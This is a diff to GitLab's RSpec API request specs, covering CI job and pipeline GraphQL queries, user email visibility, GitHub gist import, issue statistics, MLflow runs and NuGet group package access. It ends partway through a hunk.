+++ b/spec/requests/api/graphql/project/jobs_spec.rb
@@ -33,10 +33,10 @@ RSpec.describe 'Query.project.jobs', feature_category: :continuous_integration d
it 'does not generate N+1 queries', :request_store, :use_sql_query_cache do
build_stage = create(:ci_stage, position: 1, name: 'build', project: project, pipeline: pipeline)
test_stage = create(:ci_stage, position: 2, name: 'test', project: project, pipeline: pipeline)
- create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 1 2', stage: build_stage)
- create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 2 2', stage: build_stage)
- create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 1 2', stage: test_stage)
- test_job = create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 2 2', stage: test_stage)
+ create(:ci_build, pipeline: pipeline, name: 'docker 1 2', ci_stage: build_stage)
+ create(:ci_build, pipeline: pipeline, name: 'docker 2 2', ci_stage: build_stage)
+ create(:ci_build, pipeline: pipeline, name: 'rspec 1 2', ci_stage: test_stage)
+ test_job = create(:ci_build, pipeline: pipeline, name: 'rspec 2 2', ci_stage: test_stage)
create(:ci_build_need, build: test_job, name: 'docker 1 2')
post_graphql(query, current_user: user)
@@ -45,8 +45,8 @@ RSpec.describe 'Query.project.jobs', feature_category: :continuous_integration d
post_graphql(query, current_user: user)
end
- create(:ci_build, name: 'test-a', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
- test_b_job = create(:ci_build, name: 'test-b', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
+ create(:ci_build, name: 'test-a', ci_stage: test_stage, pipeline: pipeline)
+ test_b_job = create(:ci_build, name: 'test-b', ci_stage: test_stage, pipeline: pipeline)
create(:ci_build_need, build: test_b_job, name: 'docker 2 2')
expect do
diff --git a/spec/requests/api/graphql/project/merge_request/diff_notes_spec.rb b/spec/requests/api/graphql/project/merge_request/diff_notes_spec.rb
index 36e148468bc..4884e04ab23 100644
--- a/spec/requests/api/graphql/project/merge_request/diff_notes_spec.rb
+++ b/spec/requests/api/graphql/project/merge_request/diff_notes_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'getting notes for a merge request', feature_category: :code_review do
+RSpec.describe 'getting notes for a merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:noteable) { create(:merge_request) }
diff --git a/spec/requests/api/graphql/project/merge_request_spec.rb b/spec/requests/api/graphql/project/merge_request_spec.rb
index b7aafdf305a..6aa96cfc070 100644
--- a/spec/requests/api/graphql/project/merge_request_spec.rb
+++ b/spec/requests/api/graphql/project/merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'getting merge request information nested in a project', feature_category: :code_review do
+RSpec.describe 'getting merge request information nested in a project', feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:project) { create(:project, :repository, :public) }
diff --git a/spec/requests/api/graphql/project/merge_requests_spec.rb b/spec/requests/api/graphql/project/merge_requests_spec.rb
index b3b4c8fe0d5..8407faa967e 100644
--- a/spec/requests/api/graphql/project/merge_requests_spec.rb
+++ b/spec/requests/api/graphql/project/merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'getting merge request listings nested in a project', feature_category: :code_review do
+RSpec.describe 'getting merge request listings nested in a project', feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:group) { create(:group) }
diff --git a/spec/requests/api/graphql/project/pipeline_spec.rb b/spec/requests/api/graphql/project/pipeline_spec.rb
index 0eeb382510e..abfdf07c288 100644
--- a/spec/requests/api/graphql/project/pipeline_spec.rb
+++ b/spec/requests/api/graphql/project/pipeline_spec.rb
@@ -348,10 +348,10 @@ RSpec.describe 'getting pipeline information nested in a project', feature_categ
it 'does not generate N+1 queries', :request_store, :use_sql_query_cache do
build_stage = create(:ci_stage, position: 1, name: 'build', project: project, pipeline: pipeline)
test_stage = create(:ci_stage, position: 2, name: 'test', project: project, pipeline: pipeline)
- create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 1 2', stage: build_stage)
- create(:ci_build, pipeline: pipeline, stage_idx: build_stage.position, name: 'docker 2 2', stage: build_stage)
- create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 1 2', stage: test_stage)
- test_job = create(:ci_build, pipeline: pipeline, stage_idx: test_stage.position, name: 'rspec 2 2', stage: test_stage)
+ create(:ci_build, pipeline: pipeline, name: 'docker 1 2', ci_stage: build_stage)
+ create(:ci_build, pipeline: pipeline, name: 'docker 2 2', ci_stage: build_stage)
+ create(:ci_build, pipeline: pipeline, name: 'rspec 1 2', ci_stage: test_stage)
+ test_job = create(:ci_build, pipeline: pipeline, name: 'rspec 2 2', ci_stage: test_stage)
create(:ci_build_need, build: test_job, name: 'docker 1 2')
post_graphql(query, current_user: current_user)
@@ -360,8 +360,8 @@ RSpec.describe 'getting pipeline information nested in a project', feature_categ
post_graphql(query, current_user: current_user)
end
- create(:ci_build, name: 'test-a', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
- test_b_job = create(:ci_build, name: 'test-b', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
+ create(:ci_build, name: 'test-a', ci_stage: test_stage, pipeline: pipeline)
+ test_b_job = create(:ci_build, name: 'test-b', ci_stage: test_stage, pipeline: pipeline)
create(:ci_build_need, build: test_b_job, name: 'docker 2 2')
expect do
@@ -409,7 +409,8 @@ RSpec.describe 'getting pipeline information nested in a project', feature_categ
it 'does not generate N+1 queries', :request_store, :use_sql_query_cache do
# create extra statuses
- create(:generic_commit_status, :pending, name: 'generic-build-a', pipeline: pipeline, stage_idx: 0, stage: 'build')
+ external_stage = create(:ci_stage, position: 10, name: 'external', project: project, pipeline: pipeline)
+ create(:generic_commit_status, :pending, name: 'generic-build-a', pipeline: pipeline, ci_stage: external_stage)
create(:ci_bridge, :failed, name: 'deploy-a', pipeline: pipeline, stage_idx: 2, stage: 'deploy')
# warm up
@@ -419,7 +420,7 @@ RSpec.describe 'getting pipeline information nested in a project', feature_categ
post_graphql(query, current_user: current_user)
end
- create(:generic_commit_status, :pending, name: 'generic-build-b', pipeline: pipeline, stage_idx: 0, stage: 'build')
+ create(:generic_commit_status, :pending, name: 'generic-build-b', pipeline: pipeline, ci_stage: external_stage)
create(:ci_build, :failed, name: 'test-a', pipeline: pipeline, stage_idx: 1, stage: 'test')
create(:ci_build, :running, name: 'test-b', pipeline: pipeline, stage_idx: 1, stage: 'test')
create(:ci_build, :pending, name: 'deploy-b', pipeline: pipeline, stage_idx: 2, stage: 'deploy')
diff --git a/spec/requests/api/graphql/project/runners_spec.rb b/spec/requests/api/graphql/project/runners_spec.rb
index 7304de7bec6..bee7ce2e372 100644
--- a/spec/requests/api/graphql/project/runners_spec.rb
+++ b/spec/requests/api/graphql/project/runners_spec.rb
@@ -53,16 +53,4 @@ RSpec.describe 'Project.runners', feature_category: :runner do
expect(graphql_data_at(:project, :runners, :nodes)).to be_empty
end
end
-
- context 'when on_demand_scans_runner_tags feature flag is disabled' do
- before do
- stub_feature_flags(on_demand_scans_runner_tags: false)
- end
-
- it 'returns no runners' do
- post_graphql(query, current_user: user)
-
- expect(graphql_data_at(:project, :runners, :nodes)).to be_empty
- end
- end
end
diff --git a/spec/requests/api/graphql/project/work_items_spec.rb b/spec/requests/api/graphql/project/work_items_spec.rb
index a59da706a8a..de35c943749 100644
--- a/spec/requests/api/graphql/project/work_items_spec.rb
+++ b/spec/requests/api/graphql/project/work_items_spec.rb
@@ -263,7 +263,7 @@ RSpec.describe 'getting a work item list for a project', feature_category: :team
GRAPHQL
end
- before do
+ before_all do
create_notes(item1, "some note1")
create_notes(item2, "some note2")
end
diff --git a/spec/requests/api/graphql/user_spec.rb b/spec/requests/api/graphql/user_spec.rb
index 2e1e4971767..3e82d783a18 100644
--- a/spec/requests/api/graphql/user_spec.rb
+++ b/spec/requests/api/graphql/user_spec.rb
@@ -58,4 +58,45 @@ RSpec.describe 'User', feature_category: :users do
)
end
end
+
+ describe 'email fields' do
+ before_all do
+ current_user.commit_email = current_user.emails.first.email
+ current_user.save!
+ end
+
+ let_it_be(:query) do
+ graphql_query_for(
+ :user,
+ { username: current_user.username },
+ 'emails { nodes { email } } commitEmail namespaceCommitEmails { nodes { id } }'
+ )
+ end
+
+ let_it_be(:email_1) { create(:email, user: current_user) }
+ let_it_be(:email_2) { create(:email, user: current_user) }
+ let_it_be(:namespace_commit_email_1) { create(:namespace_commit_email, email: email_1) }
+ let_it_be(:namespace_commit_email_2) { create(:namespace_commit_email, email: email_2) }
+
+ context 'with permission' do
+ it 'returns the relevant email details' do
+ post_graphql(query, current_user: current_user)
+
+ expect(graphql_data['user']['emails']['nodes'].pluck('email')).to match_array(
+ current_user.emails.map(&:email))
+ expect(graphql_data['user']['namespaceCommitEmails']['nodes']).not_to be_empty
+ expect(graphql_data['user']['commitEmail']).to eq(current_user.commit_email)
+ end
+ end
+
+ context 'without permission' do
+ it 'does not return email details' do
+ post_graphql(query, current_user: create(:user))
+
+ expect(graphql_data['user']['emails']['nodes']).to be_empty
+ expect(graphql_data['user']['namespaceCommitEmails']['nodes']).to be_empty
+ expect(graphql_data['user']['commitEmail']).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/work_item_spec.rb b/spec/requests/api/graphql/work_item_spec.rb
index df7dbaea420..6b5d437df83 100644
--- a/spec/requests/api/graphql/work_item_spec.rb
+++ b/spec/requests/api/graphql/work_item_spec.rb
@@ -193,6 +193,24 @@ RSpec.describe 'Query.work_item(id)', feature_category: :team_planning do
)
end
end
+
+ context 'when ordered by default by created_at' do
+ let_it_be(:newest_child) { create(:work_item, :task, project: project, created_at: 5.minutes.from_now) }
+ let_it_be(:oldest_child) { create(:work_item, :task, project: project, created_at: 5.minutes.ago) }
+ let_it_be(:newest_link) { create(:parent_link, work_item_parent: work_item, work_item: newest_child) }
+ let_it_be(:oldest_link) { create(:parent_link, work_item_parent: work_item, work_item: oldest_child) }
+
+ let(:hierarchy_widget) { work_item_data['widgets'].find { |widget| widget['type'] == 'HIERARCHY' } }
+ let(:hierarchy_children) { hierarchy_widget['children']['nodes'] }
+
+ it 'places the oldest child item to the beginning of the children list' do
+ expect(hierarchy_children.first['id']).to eq(oldest_child.to_gid.to_s)
+ end
+
+ it 'places the newest child item to the end of the children list' do
+ expect(hierarchy_children.last['id']).to eq(newest_child.to_gid.to_s)
+ end
+ end
end
describe 'assignees widget' do
diff --git a/spec/requests/api/group_boards_spec.rb b/spec/requests/api/group_boards_spec.rb
index 01f0e6e2061..acc30b2c137 100644
--- a/spec/requests/api/group_boards_spec.rb
+++ b/spec/requests/api/group_boards_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::GroupBoards, feature_category: :team_planning do
+RSpec.describe API::GroupBoards, :with_license, feature_category: :team_planning do
let_it_be(:user) { create(:user) }
let_it_be(:non_member) { create(:user) }
let_it_be(:guest) { create(:user) }
diff --git a/spec/requests/api/group_export_spec.rb b/spec/requests/api/group_export_spec.rb
index 565365506a7..9dd5fe6f7c4 100644
--- a/spec/requests/api/group_export_spec.rb
+++ b/spec/requests/api/group_export_spec.rb
@@ -173,6 +173,8 @@ RSpec.describe API::GroupExport, feature_category: :importers do
let(:status_path) { "/groups/#{group.id}/export_relations/status" }
before do
+ stub_application_setting(bulk_import_enabled: true)
+
group.add_owner(user)
end
@@ -212,11 +214,12 @@ RSpec.describe API::GroupExport, feature_category: :importers do
context 'when export_file.file does not exist' do
it 'returns 404' do
- allow(upload).to receive(:export_file).and_return(nil)
+ allow(export).to receive(:upload).and_return(nil)
get api(download_path, user)
expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Not found')
end
end
end
@@ -234,5 +237,11 @@ RSpec.describe API::GroupExport, feature_category: :importers do
expect(json_response.pluck('status')).to contain_exactly(-1, 0, 1)
end
end
+
+ context 'when bulk import is disabled' do
+ it_behaves_like '404 response' do
+ let(:request) { get api(path, user) }
+ end
+ end
end
end
diff --git a/spec/requests/api/import_github_spec.rb b/spec/requests/api/import_github_spec.rb
index dce82f1cf37..0d75bb94144 100644
--- a/spec/requests/api/import_github_spec.rb
+++ b/spec/requests/api/import_github_spec.rb
@@ -6,33 +6,35 @@ RSpec.describe API::ImportGithub, feature_category: :importers do
let(:token) { "asdasd12345" }
let(:provider) { :github }
let(:access_params) { { github_access_token: token } }
+ let(:provider_username) { user.username }
+ let(:provider_user) { double('provider', login: provider_username).as_null_object }
+ let(:provider_repo) do
+ {
+ name: 'vim',
+ full_name: "#{provider_username}/vim",
+ owner: double('provider', login: provider_username),
+ description: 'provider',
+ private: false,
+ clone_url: 'https://fake.url/vim.git',
+ has_wiki: true
+ }
+ end
- describe "POST /import/github" do
- let(:user) { create(:user) }
- let(:project) { create(:project) }
- let(:provider_username) { user.username }
- let(:provider_user) { double('provider', login: provider_username) }
- let(:provider_repo) do
- {
- name: 'vim',
- full_name: "#{provider_username}/vim",
- owner: double('provider', login: provider_username),
- description: 'provider',
- private: false,
- clone_url: 'https://fake.url/vim.git',
- has_wiki: true
- }
- end
+ let(:client) { double('client', user: provider_user, repository: provider_repo) }
- before do
- Grape::Endpoint.before_each do |endpoint|
- allow(endpoint).to receive(:client).and_return(double('client', user: provider_user, repository: provider_repo).as_null_object)
- end
+ before do
+ Grape::Endpoint.before_each do |endpoint|
+ allow(endpoint).to receive(:client).and_return(client)
end
+ end
- after do
- Grape::Endpoint.before_each nil
- end
+ after do
+ Grape::Endpoint.before_each nil
+ end
+
+ describe "POST /import/github" do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
it 'rejects requests when Github Importer is disabled' do
stub_application_setting(import_sources: nil)
@@ -90,6 +92,23 @@ RSpec.describe API::ImportGithub, feature_category: :importers do
expect(response).to have_gitlab_http_status(:unprocessable_entity)
end
+ context 'when target_namespace is blank' do
+ it 'returns 400 response' do
+ allow(Gitlab::LegacyGithubImport::ProjectCreator)
+ .to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
+ .and_return(double(execute: project))
+
+ post api("/import/github", user), params: {
+ target_namespace: '',
+ personal_access_token: token,
+ repo_id: non_existing_record_id
+ }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq 'target_namespace is empty'
+ end
+ end
+
context 'when unauthenticated user' do
it 'returns 403 response' do
post api("/import/github"), params: {
@@ -150,4 +169,78 @@ RSpec.describe API::ImportGithub, feature_category: :importers do
end
end
end
+
+ describe 'POST /import/github/gists' do
+ let_it_be(:user) { create(:user) }
+ let(:params) { { personal_access_token: token } }
+
+ context 'when feature github_import_gists is enabled' do
+ before do
+ stub_feature_flags(github_import_gists: true)
+ end
+
+ context 'when gists import was started' do
+ before do
+ allow(Import::Github::GistsImportService)
+ .to receive(:new).with(user, client, access_params)
+ .and_return(double(execute: { status: :success }))
+ end
+
+ it 'returns 202' do
+ post api('/import/github/gists', user), params: params
+
+ expect(response).to have_gitlab_http_status(:accepted)
+ end
+ end
+
+ context 'when gists import is in progress' do
+ before do
+ allow(Import::Github::GistsImportService)
+ .to receive(:new).with(user, client, access_params)
+ .and_return(double(execute: { status: :error, message: 'Import already in progress', http_status: :unprocessable_entity }))
+ end
+
+ it 'returns 422 error' do
+ post api('/import/github/gists', user), params: params
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ expect(json_response['errors']).to eq('Import already in progress')
+ end
+ end
+
+ context 'when unauthenticated user' do
+ it 'returns 403 error' do
+ post api('/import/github/gists'), params: params
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when rate limit reached' do
+ before do
+ allow(Import::Github::GistsImportService)
+ .to receive(:new).with(user, client, access_params)
+ .and_raise(Gitlab::GithubImport::RateLimitError)
+ end
+
+ it 'returns 429 error' do
+ post api('/import/github/gists', user), params: params
+
+ expect(response).to have_gitlab_http_status(:too_many_requests)
+ end
+ end
+ end
+
+ context 'when feature github_import_gists is disabled' do
+ before do
+ stub_feature_flags(github_import_gists: false)
+ end
+
+ it 'returns 404 error' do
+ post api('/import/github/gists', user), params: params
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
end
diff --git a/spec/requests/api/internal/base_spec.rb b/spec/requests/api/internal/base_spec.rb
index f9284f21aaa..767f3e8b5b5 100644
--- a/spec/requests/api/internal/base_spec.rb
+++ b/spec/requests/api/internal/base_spec.rb
@@ -453,28 +453,10 @@ RSpec.describe API::Internal::Base, feature_category: :authentication_and_author
expect(json_response['message']['error']).to eq('This endpoint has been requested too many times. Try again later.')
end
- context 'when rate_limit_gitlab_shell feature flag is disabled' do
- before do
- stub_feature_flags(rate_limit_gitlab_shell: false)
- end
-
- it 'is not throttled by rate limiter' do
- expect(::Gitlab::ApplicationRateLimiter).not_to receive(:throttled?)
-
- subject
- end
- end
+ it 'is not throttled by rate limiter' do
+ expect(::Gitlab::ApplicationRateLimiter).not_to receive(:throttled?)
- context 'when rate_limit_gitlab_shell_by_ip feature flag is disabled' do
- before do
- stub_feature_flags(rate_limit_gitlab_shell_by_ip: false)
- end
-
- it 'is not throttled by rate limiter' do
- expect(::Gitlab::ApplicationRateLimiter).not_to receive(:throttled?)
-
- subject
- end
+ subject
end
context 'when the IP is in a trusted range' do
diff --git a/spec/requests/api/issues/get_project_issues_spec.rb b/spec/requests/api/issues/get_project_issues_spec.rb
index 70966d23576..6fc3903103b 100644
--- a/spec/requests/api/issues/get_project_issues_spec.rb
+++ b/spec/requests/api/issues/get_project_issues_spec.rb
@@ -11,15 +11,24 @@ RSpec.describe API::Issues, feature_category: :team_planning do
let_it_be(:group) { create(:group, :public) }
- let(:user2) { create(:user) }
- let(:non_member) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:non_member) { create(:user) }
let_it_be(:guest) { create(:user) }
let_it_be(:author) { create(:author) }
let_it_be(:assignee) { create(:assignee) }
- let(:admin) { create(:user, :admin) }
- let(:issue_title) { 'foo' }
- let(:issue_description) { 'closed' }
- let!(:closed_issue) do
+ let_it_be(:admin) { create(:user, :admin) }
+
+ let_it_be(:milestone) { create(:milestone, title: '1.0.0', project: project) }
+ let_it_be(:empty_milestone) do
+ create(:milestone, title: '2.0.0', project: project)
+ end
+
+ let(:no_milestone_title) { 'None' }
+ let(:any_milestone_title) { 'Any' }
+
+ let_it_be(:issue_title) { 'foo' }
+ let_it_be(:issue_description) { 'closed' }
+ let_it_be(:closed_issue) do
create :closed_issue,
author: user,
assignees: [user],
@@ -31,7 +40,7 @@ RSpec.describe API::Issues, feature_category: :team_planning do
closed_at: 1.hour.ago
end
- let!(:confidential_issue) do
+ let_it_be(:confidential_issue) do
create :issue,
:confidential,
project: project,
@@ -41,7 +50,7 @@ RSpec.describe API::Issues, feature_category: :team_planning do
updated_at: 2.hours.ago
end
- let!(:issue) do
+ let_it_be(:issue) do
create :issue,
author: user,
assignees: [user],
@@ -53,22 +62,12 @@ RSpec.describe API::Issues, feature_category: :team_planning do
description: issue_description
end
- let_it_be(:label) do
- create(:label, title: 'label', color: '#FFAABB', project: project)
- end
+ let_it_be(:label) { create(:label, title: 'label', color: '#FFAABB', project: project) }
+ let_it_be(:label_link) { create(:label_link, label: label, target: issue) }
- let!(:label_link) { create(:label_link, label: label, target: issue) }
- let(:milestone) { create(:milestone, title: '1.0.0', project: project) }
- let_it_be(:empty_milestone) do
- create(:milestone, title: '2.0.0', project: project)
- end
+ let_it_be(:note) { create(:note_on_issue, author: user, project: project, noteable: issue) }
- let!(:note) { create(:note_on_issue, author: user, project: project, noteable: issue) }
-
- let(:no_milestone_title) { 'None' }
- let(:any_milestone_title) { 'Any' }
-
- let!(:merge_request1) do
+ let_it_be(:merge_request1) do
create(:merge_request,
:simple,
author: user,
@@ -77,7 +76,7 @@ RSpec.describe API::Issues, feature_category: :team_planning do
description: "closes #{issue.to_reference}")
end
- let!(:merge_request2) do
+ let_it_be(:merge_request2) do
create(:merge_request,
:simple,
author: user,
@@ -101,7 +100,7 @@ RSpec.describe API::Issues, feature_category: :team_planning do
shared_examples 'project issues statistics' do
it 'returns project issues statistics' do
- get api("/issues_statistics", user), params: params
+ get api("/projects/#{project.id}/issues_statistics", current_user), params: params
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['statistics']).not_to be_nil
@@ -138,6 +137,8 @@ RSpec.describe API::Issues, feature_category: :team_planning do
end
context 'issues_statistics' do
+ let(:current_user) { nil }
+
context 'no state is treated as all state' do
let(:params) { {} }
let(:counts) { { all: 2, closed: 1, opened: 1 } }
@@ -534,30 +535,32 @@ RSpec.describe API::Issues, feature_category: :team_planning do
end
context 'issues_statistics' do
+ let(:current_user) { user }
+
context 'no state is treated as all state' do
let(:params) { {} }
- let(:counts) { { all: 2, closed: 1, opened: 1 } }
+ let(:counts) { { all: 3, closed: 1, opened: 2 } }
it_behaves_like 'project issues statistics'
end
context 'statistics when all state is passed' do
let(:params) { { state: :all } }
- let(:counts) { { all: 2, closed: 1, opened: 1 } }
+ let(:counts) { { all: 3, closed: 1, opened: 2 } }
it_behaves_like 'project issues statistics'
end
context 'closed state is treated as all state' do
let(:params) { { state: :closed } }
- let(:counts) { { all: 2, closed: 1, opened: 1 } }
+ let(:counts) { { all: 3, closed: 1, opened: 2 } }
it_behaves_like 'project issues statistics'
end
context 'opened state is treated as all state' do
let(:params) { { state: :opened } }
- let(:counts) { { all: 2, closed: 1, opened: 1 } }
+ let(:counts) { { all: 3, closed: 1, opened: 2 } }
it_behaves_like 'project issues statistics'
end
@@ -592,7 +595,7 @@ RSpec.describe API::Issues, feature_category: :team_planning do
context 'sort does not affect statistics ' do
let(:params) { { state: :opened, order_by: 'updated_at' } }
- let(:counts) { { all: 2, closed: 1, opened: 1 } }
+ let(:counts) { { all: 3, closed: 1, opened: 2 } }
it_behaves_like 'project issues statistics'
end
diff --git a/spec/requests/api/issues/issues_spec.rb b/spec/requests/api/issues/issues_spec.rb
index 94f0443e14a..b89db82b150 100644
--- a/spec/requests/api/issues/issues_spec.rb
+++ b/spec/requests/api/issues/issues_spec.rb
@@ -145,6 +145,11 @@ RSpec.describe API::Issues, feature_category: :team_planning do
let(:result) { issuable.id }
end
+ it_behaves_like 'issuable API rate-limited search' do
+ let(:url) { '/issues' }
+ let(:issuable) { issue }
+ end
+
it 'returns authentication error without any scope' do
get api('/issues')
diff --git a/spec/requests/api/markdown_golden_master_spec.rb b/spec/requests/api/markdown_golden_master_spec.rb
deleted file mode 100644
index 1bb5a1d67ae..00000000000
--- a/spec/requests/api/markdown_golden_master_spec.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# See spec/fixtures/markdown/markdown_golden_master_examples.yml for documentation on how this spec works.
-RSpec.describe API::Markdown, 'Golden Master', feature_category: :team_planning do
- markdown_yml_file_path = File.expand_path('../../fixtures/markdown/markdown_golden_master_examples.yml', __dir__)
- include_context 'API::Markdown Golden Master shared context', markdown_yml_file_path
-end
diff --git a/spec/requests/api/merge_requests_spec.rb b/spec/requests/api/merge_requests_spec.rb
index 0b69000ae7e..4cd93603c31 100644
--- a/spec/requests/api/merge_requests_spec.rb
+++ b/spec/requests/api/merge_requests_spec.rb
@@ -55,6 +55,11 @@ RSpec.describe API::MergeRequests, feature_category: :source_code_management do
let(:issuable) { merge_request }
let(:result) { [merge_request_merged.id, merge_request_locked.id, merge_request_closed.id, merge_request.id] }
end
+
+ it_behaves_like 'issuable API rate-limited search' do
+ let(:url) { endpoint_path }
+ let(:issuable) { merge_request }
+ end
end
context 'when authenticated' do
@@ -663,6 +668,11 @@ RSpec.describe API::MergeRequests, feature_category: :source_code_management do
let(:result) { [merge_request_merged.id, merge_request_locked.id, merge_request_closed.id, merge_request.id] }
end
+ it_behaves_like 'issuable API rate-limited search' do
+ let(:url) { '/merge_requests' }
+ let(:issuable) { merge_request }
+ end
+
it "returns authentication error without any scope" do
get api("/merge_requests")
diff --git a/spec/requests/api/ml/mlflow_spec.rb b/spec/requests/api/ml/mlflow_spec.rb
index c1ed7d56ba4..fdf115f7e92 100644
--- a/spec/requests/api/ml/mlflow_spec.rb
+++ b/spec/requests/api/ml/mlflow_spec.rb
@@ -347,6 +347,7 @@ RSpec.describe API::Ml::Mlflow, feature_category: :mlops do
{
experiment_id: experiment.iid.to_s,
start_time: Time.now.to_i,
+ run_name: "A new Run",
tags: [
{ key: 'hello', value: 'world' }
]
@@ -359,6 +360,7 @@ RSpec.describe API::Ml::Mlflow, feature_category: :mlops do
expected_properties = {
'experiment_id' => params[:experiment_id],
'user_id' => current_user.id.to_s,
+ 'run_name' => "A new Run",
'start_time' => params[:start_time],
'status' => 'RUNNING',
'lifecycle_stage' => 'active'
@@ -407,7 +409,7 @@ RSpec.describe API::Ml::Mlflow, feature_category: :mlops do
'experiment_id' => candidate.experiment.iid.to_s,
'user_id' => candidate.user.id.to_s,
'start_time' => candidate.start_time,
- 'artifact_uri' => "http://www.example.com/api/v4/projects/#{project_id}/packages/generic/ml_candidate_#{candidate.iid}/-/",
+ 'artifact_uri' => "http://www.example.com/api/v4/projects/#{project_id}/packages/generic/ml_candidate_#{candidate.id}/-/",
'status' => "RUNNING",
'lifecycle_stage' => "active"
}
@@ -426,8 +428,8 @@ RSpec.describe API::Ml::Mlflow, feature_category: :mlops do
{ 'key' => candidate.params[1].name, 'value' => candidate.params[1].value }
],
'tags' => [
- { 'key' => 'metadata_1', 'value' => 'value1' },
- { 'key' => 'metadata_2', 'value' => 'value2' }
+ { 'key' => candidate.metadata[0].name, 'value' => candidate.metadata[0].value },
+ { 'key' => candidate.metadata[1].name, 'value' => candidate.metadata[1].value }
]
})
end
@@ -450,7 +452,7 @@ RSpec.describe API::Ml::Mlflow, feature_category: :mlops do
'user_id' => candidate.user.id.to_s,
'start_time' => candidate.start_time,
'end_time' => params[:end_time],
- 'artifact_uri' => "http://www.example.com/api/v4/projects/#{project_id}/packages/generic/ml_candidate_#{candidate.iid}/-/",
+ 'artifact_uri' => "http://www.example.com/api/v4/projects/#{project_id}/packages/generic/ml_candidate_#{candidate.id}/-/",
'status' => 'FAILED',
'lifecycle_stage' => 'active'
}
diff --git a/spec/requests/api/nuget_group_packages_spec.rb b/spec/requests/api/nuget_group_packages_spec.rb
index 9de612f7bc7..4335ad75ab6 100644
--- a/spec/requests/api/nuget_group_packages_spec.rb
+++ b/spec/requests/api/nuget_group_packages_spec.rb
@@ -17,25 +17,51 @@ RSpec.describe API::NugetGroupPackages, feature_category: :package_registry do
shared_examples 'handling all endpoints' do
describe 'GET /api/v4/groups/:id/-/packages/nuget' do
- it_behaves_like 'handling nuget service requests', anonymous_requests_example_name: 'rejects nuget packages access', anonymous_requests_status: :unauthorized do
+ it_behaves_like 'handling nuget service requests',
+ example_names_with_status: {
+ anonymous_requests_example_name: 'rejects nuget packages access',
+ anonymous_requests_status: :unauthorized,
+ guest_requests_example_name: 'process nuget service index request',
+ guest_requests_status: :success
+ } do
let(:url) { "/groups/#{target.id}/-/packages/nuget/index.json" }
end
end
describe 'GET /api/v4/groups/:id/-/packages/nuget/metadata/*package_name/index' do
- it_behaves_like 'handling nuget metadata requests with package name', anonymous_requests_example_name: 'rejects nuget packages access', anonymous_requests_status: :unauthorized do
+ it_behaves_like 'handling nuget metadata requests with package name',
+ example_names_with_status:
+ {
+ anonymous_requests_example_name: 'rejects nuget packages access',
+ anonymous_requests_status: :unauthorized,
+ guest_requests_example_name: 'rejects nuget packages access',
+ guest_requests_status: :not_found
+ } do
let(:url) { "/groups/#{target.id}/-/packages/nuget/metadata/#{package_name}/index.json" }
end
end
describe 'GET /api/v4/groups/:id/-/packages/nuget/metadata/*package_name/*package_version' do
- it_behaves_like 'handling nuget metadata requests with package name and package version', anonymous_requests_example_name: 'rejects nuget packages access', anonymous_requests_status: :unauthorized do
+ it_behaves_like 'handling nuget metadata requests with package name and package version',
+ example_names_with_status:
+ {
+ anonymous_requests_example_name: 'rejects nuget packages access',
+ anonymous_requests_status: :unauthorized,
+ guest_requests_example_name: 'rejects nuget packages access',
+ guest_requests_status: :not_found
+ } do
let(:url) { "/groups/#{target.id}/-/packages/nuget/metadata/#{package_name}/#{package.version}.json" }
end
end
describe 'GET /api/v4/groups/:id/-/packages/nuget/query' do
- it_behaves_like 'handling nuget search requests', anonymous_requests_example_name: 'rejects nuget packages access', anonymous_requests_status: :unauthorized do
+ it_behaves_like 'handling nuget search requests',
+ example_names_with_status: {
+ anonymous_requests_example_name: 'rejects nuget packages access',
+ anonymous_requests_status: :unauthorized,
+ guest_requests_example_name: 'process empty nuget search request',
+ guest_requests_status: :success
+ } do
let(:url) { "/groups/#{target.id}/-/packages/nuget/query?#{query_parameters.to_query}" }
end
end
@@ -133,13 +159,13 @@ RSpec.describe API::NugetGroupPackages, feature_category: :package_registry do
describe 'GET /api/v4/groups/:id/-/packages/nuget/metadata/*package_name/index' do
let(:url) { "/groups/#{group.id}/-/packages/nuget/metadata/#{package_name}/index.json" }
- it_behaves_like 'returning response status', :forbidden
+ it_behaves_like 'returning response status', :success
end
describe 'GET /api/v4/groups/:id/-/packages/nuget/metadata/*package_name/*package_version' do
let(:url) { "/groups/#{group.id}/-/packages/nuget/metadata/#{package_name}/#{package.version}.json" }
- it_behaves_like 'returning response status', :forbidden
+ it_behaves_like 'returning response status', :success
end
describe 'GET /api/v4/groups/:id/-/packages/nuget/query' do
@@ -150,7 +176,7 @@ RSpec.describe API::NugetGroupPackages, feature_category: :package_registry do
